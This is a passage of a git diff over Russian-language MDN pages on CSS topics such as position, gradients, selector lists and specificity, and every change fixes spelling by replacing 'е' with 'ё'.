которая покрывается родителем, но не дочерним, не будет поймана ни ребёнком, ни родителем (он пройдёт через «родительский» на «цели» под ним).</p> <p>Мы хотели бы предоставить более тонкий контроль (а не только <code>auto</code> и <code>none</code>) в HTML, когда части элемента смогут «поймать» события мыши. Если у вас есть какие-то конкретные вещи, чтобы помочь нам в решении как следует расширить <code>pointer-events</code> для HTML, и которые вы хотели бы сделать с этим свойством, добавьте их в раздел «Использовать случаи» на <a class="link-https" href="https://wiki.mozilla.org/SVG:pointer-events">этой странице вики</a> (не беспокойтесь, мы всё сохраним аккуратно). </p> diff --git a/files/ru/web/css/position/index.html b/files/ru/web/css/position/index.html index 3baa0548f0..fb6002c2fb 100644 --- a/files/ru/web/css/position/index.html +++ b/files/ru/web/css/position/index.html @@ -22,7 +22,7 @@ translation_of: Web/CSS/position <li><strong>Элемент с липкой позицией</strong> — это элемент, у которого {{cssxref('computed_value', 'значение вычисленного')}} <code>position</code> является <code>sticky</code>. Он рассматривается как относительно позиционированный до тех пор, пока {{cssxref('Containing_Block', 'содержащий его блок')}} не пересечёт указанный порог (например, установка {{cssxref('top')}} в значение, отличное от <code>auto</code>) внутри его корня потока (или в контейнере, в котором он прокручивается), после чего он обрабатывается как «застрявший» до тех пор, пока не встретит противоположный край {{cssxref('Containing_Block', 'содержащего его блока')}}.</li> </ul> -<p>В большинстве случаев абсолютно позиционированный элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в <code>auto</code>, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно позиционированный элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределенным (то есть , <code>auto</code>). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как <code>auto</code>.</p> +<p>В большинстве случаев абсолютно позиционированный элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в <code>auto</code>, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно позиционированный элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределённым (то есть , <code>auto</code>). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как <code>auto</code>.</p> <p>За исключением только что описанного случая (абсолютно позиционированных элементов, заполняющих доступное пространство):</p> @@ -39,19 +39,19 @@ translation_of: Web/CSS/position <dl> <dt><code>static</code></dt> - <dd>Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своем месте в документе. Свойства <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> и <code>z-index</code> <em>не применяются</em> к данному элементу. Это значение по умолчанию.</dd> + <dd>Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своём месте в документе. Свойства <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> и <code>z-index</code> <em>не применяются</em> к данному элементу. Это значение по умолчанию.</dd> <dt><code>relative</code></dt> <dd>Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается <em>относительно себя</em> на основе значений <code>top</code>, <code>right</code>, <code>bottom</code> и <code>left</code>. Смещение не влияет на положение любых других элементов; таким образом, пространство, заданное для элемента в макете страницы, такое же, как если бы позиция была <code>static</code>.</dd> - <dd>Это значение создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение <code>z-index</code> не <code>auto</code>. Его влияние на элементы <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code> и <code>table-caption</code> не определено.</dd> + <dd>Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение <code>z-index</code> не <code>auto</code>. Его влияние на элементы <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code> и <code>table-caption</code> не определено.</dd> <dt><code>absolute</code></dt> - <dd>Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создается пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code>, и <code>left</code>.</dd> + <dd>Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создаётся пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code>, и <code>left</code>.</dd> <dd>Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}, когда значение <code>z-index</code> не <code>auto</code>. Поля абсолютно позиционированных коробок не {{cssxref('CSS_Box_Model/Mastering_margin_collapsing', 'сворачиваются')}} с другими полями.</dd> <dt><code>fixed</code></dt> - <dd>Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создается пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство <code>transform</code>, <code>perspective</code>, или <code>filter</code>, установленное на что-то иное, кроме <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), и в этом случае этот предок ведет себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с <code>perspective</code> и <code>filter</code>, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code> и <code>left</code>.</dd> - <dd>Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на <em>каждой странице</em>.</dd> + <dd>Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создаётся пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство <code>transform</code>, <code>perspective</code>, или <code>filter</code>, установленное на что-то иное, кроме <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), и в этом случае этот предок ведёт себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с <code>perspective</code> и <code>filter</code>, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code> и <code>left</code>.</dd> + <dd>Это значение всегда создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на <em>каждой странице</em>.</dd> <dt><code>sticky</code></dt> <dd>Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается относительно его ближайшего <em>прокручивающего предка</em> и {{cssxref('Containing_Block', 'содержащего блока')}} (ближайший родительский уровень блока), включая элементы, связанные с таблицей, на основе значений <code>top</code>, <code>right</code>, <code>bottom</code>, и <code>left</code>. Смещение не влияет на положение любых других элементов.</dd> - <dd>Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при <code>overflow</code> равном <code>hidden</code>, <code>scroll</code>, <code>auto</code> или <code>overlay</code>), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. <a href="https://github.com/w3c/csswg-drafts/issues/865">Github issue on W3C CSSWG</a>).</dd> + <dd>Это значение всегда создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при <code>overflow</code> равном <code>hidden</code>, <code>scroll</code>, <code>auto</code> или <code>overlay</code>), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. <a href="https://github.com/w3c/csswg-drafts/issues/865">Github issue on W3C CSSWG</a>).</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -62,7 +62,7 @@ translation_of: Web/CSS/position <h3 id="Relative_positioning" name="Relative_positioning">Относительное позиционирование</h3> -<p>Относительно позиционированные элементы смещены на определенную величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведенном ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.</p> +<p>Относительно позиционированные элементы смещены на определённую величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведённом ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.</p> <h4 id="HTML">HTML</h4> @@ -134,7 +134,7 @@ span { <h3 id="Fixed_positioning" name="Fixed_positioning">Фиксированное позиционирование</h3> -<p>Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было <code>transform</code>, <code>perspective</code>, или свойства <code>filter</code>, отличное от <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остается в том же положении независимо от прокрутки. В приведенном ниже примере окно c <code>id="one"</code> фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.</p> +<p>Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было <code>transform</code>, <code>perspective</code>, или свойства <code>filter</code>, отличное от <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остаётся в том же положении независимо от прокрутки. В приведённом ниже примере окно c <code>id="one"</code> фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.</p> <h4 id="HTML_2">HTML</h4> @@ -196,7 +196,7 @@ span { <h3 id="Sticky_positioning" name="Sticky_positioning">Липкое позиционирование</h3> -<p>Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечет заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...</p> +<p>Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечёт заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...</p> <pre class="brush: css">#one { position: sticky; top: 10px; }</pre> @@ -322,6 +322,6 @@ dd + dd { <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> <div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check outand send us a pull request.<br> -Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("css.properties.position")}}</p> diff --git a/files/ru/web/css/radial-gradient()/index.html b/files/ru/web/css/radial-gradient()/index.html index efd1cd0d57..297ef580c4 100644 --- a/files/ru/web/css/radial-gradient()/index.html +++ b/files/ru/web/css/radial-gradient()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/radial-gradient() --- <div>{{CSSRef}}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>radial-gradient()</code></strong> создает картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("<gradient>")}}, который является расширением типа {{cssxref("<image>")}}.</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>radial-gradient()</code></strong> создаёт картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("<gradient>")}}, который является расширением типа {{cssxref("<image>")}}.</p> <div>{{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}</div> @@ -19,16 +19,16 @@ translation_of: Web/CSS/radial-gradient() <h2 id="Композиция_свойства">Композиция свойства</h2> -<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">Радиальный градиент задается <em>позицией центра</em>, <em>конечной формой</em>, и двумя или более <em>точками изменения цвета</em>.</p> +<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">Радиальный градиент задаётся <em>позицией центра</em>, <em>конечной формой</em>, и двумя или более <em>точками изменения цвета</em>.</p> <p>Чтобы создать плавный градиент, функция <code>radial-gradient()</code> рисует серию концентрических форм исходящих из центра к краям формы градиента (и потенциально далее за его пределы). Конечная форма может быть как кругом так и эллипсом.</p> -<p>Точки изменения цвета расположены на <em>виртуальном луче градиента</em>, который расширяется горизонтально направо. Позиция точек заданных в процентах рассчитывается относительно пересечения конечной формы таким лучом, что является <code>100%</code>. Цвет каждой такой формы задается цветом на пересечении луча градиента и этой формы.</p> +<p>Точки изменения цвета расположены на <em>виртуальном луче градиента</em>, который расширяется горизонтально направо. Позиция точек заданных в процентах рассчитывается относительно пересечения конечной формы таким лучом, что является <code>100%</code>. Цвет каждой такой формы задаётся цветом на пересечении луча градиента и этой формы.</p> <h2 id="Синтаксис">Синтаксис</h2> <pre class="brush: css no-line-numbers notranslate">/* Градиент в центре контейнера, - переход от красного к синему и после к зеленому */ + переход от красного к синему и после к зелёному */ radial-gradient(circle at center, red 0, blue, green 100%)</pre> <h3 id="Параметры">Параметры</h3> @@ -108,7 +108,7 @@ radial-gradient(circle at center, red 0, blue, green 100%)</pre> <p>{{EmbedLiveSample('Простой_градиент', 120, 120)}}</p> -<h3 id="Градиент_со_смещенным_центром">Градиент со смещенным центром</h3> +<h3 id="Градиент_со_смещённым_центром">Градиент со смещённым центром</h3> <div class="hidden"> <pre class="brush: html notranslate"><div class="radial-gradient"></div> @@ -125,7 +125,7 @@ radial-gradient(circle at center, red 0, blue, green 100%)</pre> #f35 0%, #43e 100%); }</pre> -<p>{{EmbedLiveSample('Градиент_со_смещенным_центром', 240, 120)}}</p> +<p>{{EmbedLiveSample('Градиент_со_смещённым_центром', 240, 120)}}</p> <div class="note"> <p><strong>Заметка:</strong> Дополнительные примеры можно найти в <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Использование CSS градиентов</a>.</p> diff --git a/files/ru/web/css/ratio/index.html b/files/ru/web/css/ratio/index.html index aa1e0f260e..b916f8e580 100644 --- a/files/ru/web/css/ratio/index.html +++ b/files/ru/web/css/ratio/index.html @@ -46,7 +46,7 @@ translation_of: Web/CSS/ratio <td><img alt="Ratio1_1.85.png" src="/@api/deki/files/5712/=Ratio1_1.85.png"></td> <td><code>185/100</code> = <code>91/50</code><br> <em>(нецелые делимые и делители не допускаются)</em></td> - <td>Наиболее распространенный видео-формат в 1960-х.</td> + <td>Наиболее распространённый видео-формат в 1960-х.</td> </tr> <tr> <td><img alt="Ratio1_2.39.png" src="/@api/deki/files/5713/=Ratio1_2.39.png"></td> diff --git a/files/ru/web/css/reference/index.html b/files/ru/web/css/reference/index.html index 507cc1fa72..36869289dc 100644 --- a/files/ru/web/css/reference/index.html +++ b/files/ru/web/css/reference/index.html @@ -160,7 +160,7 @@ div.menu-bar li:hover > ul { display: block; } <li><a href="/ru/docs/Web/CSS/box_model">Box-модель</a></li> <li><a href="/ru/docs/Web/CSS/Replaced_element">Замещаемый элемент</a></li> <li><a href="/ru/docs/Web/CSS/Value_definition_syntax">Синтаксис определения значений</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">Сокращенные свойства</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">Сокращённые свойства</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Объединение отступов</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Visual_formatting_model">Модель визуального форматирования</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Layout_mode">Слои</a></li> diff --git a/files/ru/web/css/repeating-linear-gradient()/index.html b/files/ru/web/css/repeating-linear-gradient()/index.html index e7dc20f24e..c3160fb98a 100644 --- a/files/ru/web/css/repeating-linear-gradient()/index.html +++ b/files/ru/web/css/repeating-linear-gradient()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/repeating-linear-gradient() --- <div>{{CSSRef}}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>repeating-linear-gradient()</code></strong> создает изображение состоящее из повторяющихся линейных градиентов. Она схожа с {{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("<gradient>")}}, являющегося разновидностью типа данных {{cssxref("<image>")}}.</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>repeating-linear-gradient()</code></strong> создаёт изображение состоящее из повторяющихся линейных градиентов. Она схожа с {{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("<gradient>")}}, являющегося разновидностью типа данных {{cssxref("<image>")}}.</p> <pre class="brush: css no-line-numbers notranslate">/* Повторяющийся градиент с углом наклона 45 градусов, начинающийся с синего и заканчивающийся красным цветом */ @@ -16,14 +16,14 @@ repeating-linear-gradient(45deg, blue, red); repeating-linear-gradient(to left top, blue, red); /* Повторяющийся градиент идущий от низа к верху, - начинающийся с синего, переходящего в зеленый на 40%, + начинающийся с синего, переходящего в зелёный на 40%, и заканчивающийся красным цветом */ repeating-linear-gradient(0deg, blue, green 40%, red); </pre> -<p>С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведет к резкому визуальному переходу.</p> +<p>С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведёт к резкому визуальному переходу.</p> -<p>Повторяющийся линейный градиент (как и любой прочий градиент) <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">не имеет размерностей по умолчанию</a>; т.е. у него нет предопределенного размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.</p> +<p>Повторяющийся линейный градиент (как и любой прочий градиент) <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">не имеет размерностей по умолчанию</a>; т.е. у него нет предопределённого размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.</p> <div class="note"> <p><strong>Примечание:</strong> Поскольку <code><gradient></code> относится к типу данных <code><image></code> , он может быть использован только там где применим тип <code><image></code>. По этой причине <code>repeating-linear-gradient()</code> не будет работать с {{Cssxref("background-color")}} и прочими свойствами использующими тип данных {{cssxref("<color>")}}.</p> diff --git a/files/ru/web/css/selector_list/index.html b/files/ru/web/css/selector_list/index.html index dfa5948008..7bb32d2d94 100644 --- a/files/ru/web/css/selector_list/index.html +++ b/files/ru/web/css/selector_list/index.html @@ -2,7 +2,7 @@ title: Список селекторов slug: Web/CSS/Selector_list tags: - - Верстка + - Вёрстка - список селекторов translation_of: Web/CSS/Selector_list --- @@ -26,14 +26,14 @@ div { <h3 id="Группирование_на_одной_линии">Группирование на одной линии</h3> -<p>Группирование селекторов списком, разделенным запятой, на одной строк.</p> +<p>Группирование селекторов списком, разделённым запятой, на одной строк.</p> <pre class="brush: css">h1, h2, h3, h4, h5, h6 { font-family: helvetica; } </pre> <h3 id="Мультистрочное_группирование">Мультистрочное группирование</h3> -<p>Группирование селекторов списком, разделенным запятой, на нескольких строках.</p> +<p>Группирование селекторов списком, разделённым запятой, на нескольких строках.</p> <pre class="brush: css">#main, .content, @@ -54,7 +54,7 @@ h3 { font-family: sans-serif }</pre> <p>Это происходит потому, что один неподдерживаемый селектор в списке селекторов делает недействительным все правило.</p> -<p>Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счет этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.</p> +<p>Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счёт этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.</p> <pre class="brush: css">h1 { font-family: sans-serif } h2:maybe-unsupported { font-family: sans-serif } diff --git a/files/ru/web/css/shorthand_properties/index.html b/files/ru/web/css/shorthand_properties/index.html index 5ac6911db1..90738acb1b 100644 --- a/files/ru/web/css/shorthand_properties/index.html +++ b/files/ru/web/css/shorthand_properties/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/Shorthand_properties --- <div>{{cssref}}</div> -<p class="summary"><strong><dfn>Сокращенные свойства</dfn></strong> - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращенное свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.</p> +<p class="summary"><strong><dfn>Сокращённые свойства</dfn></strong> - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращённое свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.</p> <p>The CSS specification defines shorthand properties to group the definition of common properties acting on the same theme. For instance, the CSS {{cssxref("background")}} property is a shorthand property that's able to define the values of {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, and {{cssxref("background-position")}}. Similarly, the most common font-related properties can be defined using the shorthand {{cssxref("font")}}, and the different margins around a box can be defined using the {{cssxref("margin")}} shorthand.</p> diff --git a/files/ru/web/css/specificity/index.html b/files/ru/web/css/specificity/index.html index 42adadbf3a..535a64f460 100644 --- a/files/ru/web/css/specificity/index.html +++ b/files/ru/web/css/specificity/index.html @@ -38,7 +38,7 @@ translation_of: Web/CSS/Specificity <h3 id="Важное_исключение_из_правил_-_!important">Важное исключение из правил - <code>!important</code></h3> -<p>Когда при объявлении стиля используется модификатор <code>!important</code>, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор <code>!important</code> не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку <code>!important</code> усложняет отладку, нарушая естественное <a href="/ru-RU/docs/Web/CSS/Cascade">каскадирование</a> ваших стилей, он <strong>не приветствуется</strong> и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором <code>!important</code>, то применен будет стиль с большей специфичностью.</p> +<p>Когда при объявлении стиля используется модификатор <code>!important</code>, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор <code>!important</code> не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку <code>!important</code> усложняет отладку, нарушая естественное <a href="/ru-RU/docs/Web/CSS/Cascade">каскадирование</a> ваших стилей, он <strong>не приветствуется</strong> и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором <code>!important</code>, то применён будет стиль с большей специфичностью.</p> <p><strong>Несколько практических советов:</strong></p> @@ -69,7 +69,7 @@ span </span><span class="pun">{</span><span class="pln"> </span><span class="kwd <p>Вне зависимости от порядка следования правил, текст всегда будет зелёным, поскольку у этого правила наибольшая специфичность (при этом, правило для голубого цвета имеет преимущество перед правилом для красного, несмотря на порядок следования).</p> -<p><strong>Вам придется использовать <code>!important</code> если:</strong></p> +<p><strong>Вам придётся использовать <code>!important</code> если:</strong></p> <p>А) Первый сценарий:</p> @@ -78,11 +78,11 @@ span </span><span class="pun">{</span><span class="pln"> </span><span class="kwd <li>Вы пользуетесь (или кто-то другой пользуется) весьма сомнительным средством - объявлением стилей непосредственно в элементах</li> </ol> -<p>В таком случае вам придется объявить некоторые стили в вашем общем файле CSS как <code>!important</code>, переопределяя, таким образом, стили, установленные в самих элементах.</p> +<p>В таком случае вам придётся объявить некоторые стили в вашем общем файле CSS как <code>!important</code>, переопределяя, таким образом, стили, установленные в самих элементах.</p> <p>Пример из практики: Некоторые плохо написанные <strong>плагины jQuery</strong>, использующие присваивание стилей самим элементам.</p> -<p>Б) Еще сценарий:</p> +<p>Б) Ещё сценарий:</p> <pre class="default prettyprint prettyprinted"><code><span class="com">#someElement p {</span><span class="pln"> color</span><span class="pun">:</span><span class="pln"> blue</span><span class="pun">;</span><span class="pln"> @@ -96,7 +96,7 @@ p</span><span class="pun">.</span><span class="pln">awesome </span><span class=" <p><strong>Как преодолеть !important</strong></p> -<p>A) Просто добавьте еще одно правило с модификатором <code>!important</code>, у которого селектор имеет большую специфичность (благодаря добавлению типа элемента (тэга), идентификатора (атрибута id) или класса к селектору).</p> +<p>A) Просто добавьте ещё одно правило с модификатором <code>!important</code>, у которого селектор имеет большую специфичность (благодаря добавлению типа элемента (тэга), идентификатора (атрибута id) или класса к селектору).</p> <p>Пример большей специфичности:</p> @@ -126,7 +126,7 @@ p</span><span class="pun">.</span><span class="pln">awesome </span><span class=" <h3 id="Не_исключение_-_not()">Не исключение - <code>:not()</code></h3> -<p>Отрицающий псевдокласс <code>:not</code> <em>не учитывается</em> как псевдокласс при расчете специфичности. Однако селекторы, расположенные внутри <code>:not</code>, при подсчете количества <a href="#selector-type">по типам селекторов</a> рассматриваются как обычные селекторы и учитываются.</p> +<p>Отрицающий псевдокласс <code>:not</code> <em>не учитывается</em> как псевдокласс при расчёте специфичности. Однако селекторы, расположенные внутри <code>:not</code>, при подсчёте количества <a href="#selector-type">по типам селекторов</a> рассматриваются как обычные селекторы и учитываются.</p> <p>Следующий фрагмент CSS ...</p> @@ -138,7 +138,7 @@ div:not(.outer) p { } </pre> -<p>... примененный к такому HTML ...</p> +<p>... применённый к такому HTML ...</p> <pre class="brush: html"><div class="outer"> <p>Это div.outer</p> @@ -168,7 +168,7 @@ div:not(.outer) p { } </pre> -<p>... примененные к нижеследующей разметке ...</p> +<p>... применённые к нижеследующей разметке ...</p> <pre class="brush: html"><p id="foo">Это пример.</p> </pre> @@ -229,7 +229,7 @@ h1 { <p><span style="color: #800080;">Вот заголовок!</span></p> -<p>Потому что селектор <code>h1</code> непосредственно соответствует элементу, а стиль, задающий зеленый цвет, всего лишь унаследован от родителя.</p> +<p>Потому что селектор <code>h1</code> непосредственно соответствует элементу, а стиль, задающий зелёный цвет, всего лишь унаследован от родителя.</p> <h2 id="Дополнительная_информация">Дополнительная информация</h2> diff --git a/files/ru/web/css/syntax/index.html b/files/ru/web/css/syntax/index.html index ead0688e79..18803ab95c 100644 --- a/files/ru/web/css/syntax/index.html +++ b/files/ru/web/css/syntax/index.html @@ -12,12 +12,12 @@ original_slug: Web/CSS/Синтаксис <ul> <li><strong>Свойство</strong> (<em>property</em>) — идентификатор действия, которое будет применено к элементу (например, цвет, или размер границы, и т.д.).</li> - <li><strong>Значение</strong> (<em>value</em>) — описывает, как именно <em>свойство</em> будет обработано браузером. <span id="result_box" lang="ru"><span class="hps">Каждое свойство имеет</span> <span class="hps">набор допустимых значений</span><span>, определенных</span> <span class="hps">формальными правилами</span><span>, а также</span> <span class="hps">семантический</span> <span class="hps">смысл,</span> <span class="hps">реализованный</span> движком <span class="hps">браузера.</span></span></li> + <li><strong>Значение</strong> (<em>value</em>) — описывает, как именно <em>свойство</em> будет обработано браузером. <span id="result_box" lang="ru"><span class="hps">Каждое свойство имеет</span> <span class="hps">набор допустимых значений</span><span>, определённых</span> <span class="hps">формальными правилами</span><span>, а также</span> <span class="hps">семантический</span> <span class="hps">смысл,</span> <span class="hps">реализованный</span> движком <span class="hps">браузера.</span></span></li> </ul> <h2 id="Объявления_CSS">Объявления CSS</h2> -<p>Задание CSS свойствам определенных значений — это основная функция CSS. Пара свойство-значение называется <em>объявлением</em>. Работа CSS движка заключается в поиске соответствий между объявлениями стилей и элементом на странице, чтобы правильно отобразить и форматировать этот элемент.</p> +<p>Задание CSS свойствам определённых значений — это основная функция CSS. Пара свойство-значение называется <em>объявлением</em>. Работа CSS движка заключается в поиске соответствий между объявлениями стилей и элементом на странице, чтобы правильно отобразить и форматировать этот элемент.</p> <p>И свойство, и значения регистрозависимы. Пара свойство-значение разделяется двоеточием, '<code>:</code>' (<code>U+003A COLON</code>), а пробелы до, между и после свойства или значения игнорируются.</p> @@ -31,11 +31,11 @@ original_slug: Web/CSS/Синтаксис <p><a href="/@api/deki/files/6165/=css_syntax_-_block.png"><img alt="css syntax - block.png" class="default internal" src="/@api/deki/files/6165/=css_syntax_-_block.png" style="border: 1px solid black; padding: 1em;"></a></p> -<p>Такие блоки называются <strong>блоками объявлений</strong>, и объявления в них разделяются точкой с запятой, '<code>;</code>' (<code>U+003B SEMICOLON</code>). Блок объявлений может 